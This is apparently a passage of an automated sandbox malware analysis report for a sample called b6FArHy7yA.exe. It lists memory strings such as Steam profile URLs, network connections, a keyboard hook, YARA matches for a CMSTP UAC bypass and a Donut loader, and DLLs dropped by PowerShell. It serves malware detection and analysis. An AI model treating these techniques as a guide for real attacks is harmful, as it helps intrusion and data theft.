Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4569181797.0000000006228000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/games/
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/games/?tab=all
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/inventory/
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/inventory/COMPUTERNAME=user-PC
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/inventory/COMPUTERNAME=user-PCHOMEPATH=
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636a
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636https://steamcommunity.com/profiles/76561199210
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199210620187
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D8000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060AD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060D8000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060AD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/https://store.steampowered.com/
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000617E000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060AD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/responsive_page_content_overlayhttps://store.steampowered.com/Link
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: b6FArHy7yA.exe, 00000000.00000003.2511031722.00000000033A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: b6FArHy7yA.exe, 00000000.00000003.2511031722.00000000033A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: powershell.exe, 00000005.00000002.4563026463.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.360.
Source: powershell.exe, 00000005.00000002.4563026463.0000000004D31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4563026463.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.360.net
Source: b6FArHy7yA.exe, 00000000.00000003.2511303093.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: powershell.exe, 00000005.00000002.4563026463.0000000004D31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4563026463.0000000004FBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4563026463.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com
Source: powershell.exe, 00000005.00000002.4563026463.0000000004FBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: b6FArHy7yA.exe, 00000000.00000003.2510774201.00000000032A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: b6FArHy7yA.exe, 00000000.00000003.2510774201.00000000032A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: b6FArHy7yA.exe, 00000000.00000003.2511031722.00000000033A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: b6FArHy7yA.exe, 00000000.00000003.2511031722.00000000033A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: b6FArHy7yA.exe, 00000000.00000003.2511031722.00000000033A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: b6FArHy7yA.exe, 00000000.00000003.2511303093.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedbackhttps://avatars
Source: explorer.exe, 0000000D.00000002.4562917810.0000000003278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.verisign.
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443

Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.43:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.163.242.102:443 -> 192.168.2.6:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.163.242.102:443 -> 192.168.2.6:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.235.47.188:443 -> 192.168.2.6:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.43:443 -> 192.168.2.6:49906 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

Code function: 7_2_020E6E20 SetWindowsHookExW 00000002,020E76C0,?,00000000

7_2_020E6E20

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.2.more.com.4b3fbe1.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.ImApp.exe.a633a58.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.ImApp.exe.a77ba58.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.ImApp.exe.a75498b.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.explorer.exe.511cbe1.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.explorer.exe.50d7b14.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.ImApp.exe.a77c658.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.explorer.exe.511d7e1.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.ImApp.exe.a5ee98b.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 9.2.more.com.4b407e1.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 7.2.ImApp.exe.aef998b.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.ImApp.exe.a634658.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.ImApp.exe.a79a658.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 7.2.ImApp.exe.af3ea58.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 9.2.more.com.4afab14.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.ImApp.exe.a799a58.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 7.2.ImApp.exe.af3f658.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.ImApp.exe.a73698b.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000000.00000002.2776572796.00000000021C0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: Process Memory Space: powershell.exe PID: 2444, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

PE file contains section with special chars

Source: SftTree_IX86_U_60.dll.5.dr	Static PE information: section name: .e&'
Source: SftTree_IX86_U_60.dll.5.dr	Static PE information: section name: .U[x
Source: SftTree_IX86_U_60.dll.7.dr	Static PE information: section name: .e&'
Source: SftTree_IX86_U_60.dll.7.dr	Static PE information: section name: .U[x

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImUtilsU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImLookExU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\sqlite3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImLookU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImABU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\IMHttpComm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcp80.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImDbU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImNtUtilU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImWrappU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\wlessfp1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\SftTree_IX86_U_60.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\mfc80u.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcr80.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\more.com

File created: C:\Windows\Tasks\NodeJS Web Framework.job

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02F8ABDC	5_2_02F8ABDC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02F8B808	5_2_02F8B808
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02F8C2CD	5_2_02F8C2CD
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_00418090	7_2_00418090
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_032742C0	7_2_032742C0
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_03276560	7_2_03276560
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_03274BEB	7_2_03274BEB
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_03275930	7_2_03275930
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_03275DF0	7_2_03275DF0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\IMHttpComm.dll 96D6264B26DECF6595CA6F0584A1B60589EC5DACDF03DDF5FBB6104A6AFC9E7A
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImABU.dll C56D37F20069E48EADE31236B4D3AA5AFDA2621BD77760E85964F1E6834BE9A6

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: String function: 0041B948 appears 48 times
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: String function: 020EA414 appears 31 times
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: String function: 020EA5DC appears 47 times
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: String function: 020C2490 appears 171 times
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: String function: 020EA3EA appears 106 times
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: String function: 020EA3F0 appears 67 times
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: String function: 020EA3F6 appears 56 times

Source: b6FArHy7yA.exe, 00000000.00000002.2775350924.000000000045A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: tLegalCopyrightCopyright (c) Microsoft Corporation. All rights reserved.L"OriginalFilenamevcredist_x86.exe vs b6FArHy7yA.exe
Source: b6FArHy7yA.exe, 00000000.00000003.2248868400.0000000002BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tLegalCopyrightCopyright (c) Microsoft Corporation. All rights reserved.L"OriginalFilenamevcredist_x86.exe vs b6FArHy7yA.exe
Source: b6FArHy7yA.exe	Binary or memory string: tLegalCopyrightCopyright (c) Microsoft Corporation. All rights reserved.L"OriginalFilenamevcredist_x86.exe vs b6FArHy7yA.exe

Source: b6FArHy7yA.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Process created: Commandline size = 9949
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Process created: Commandline size = 9949			Jump to behavior

Source: 9.2.more.com.4b3fbe1.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.ImApp.exe.a633a58.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.ImApp.exe.a77ba58.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.ImApp.exe.a75498b.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.explorer.exe.511cbe1.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.explorer.exe.50d7b14.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.ImApp.exe.a77c658.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.explorer.exe.511d7e1.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.ImApp.exe.a5ee98b.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 9.2.more.com.4b407e1.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 7.2.ImApp.exe.aef998b.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.ImApp.exe.a634658.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.ImApp.exe.a79a658.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 7.2.ImApp.exe.af3ea58.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 9.2.more.com.4afab14.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.ImApp.exe.a799a58.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 7.2.ImApp.exe.af3f658.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 8.2.ImApp.exe.a73698b.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
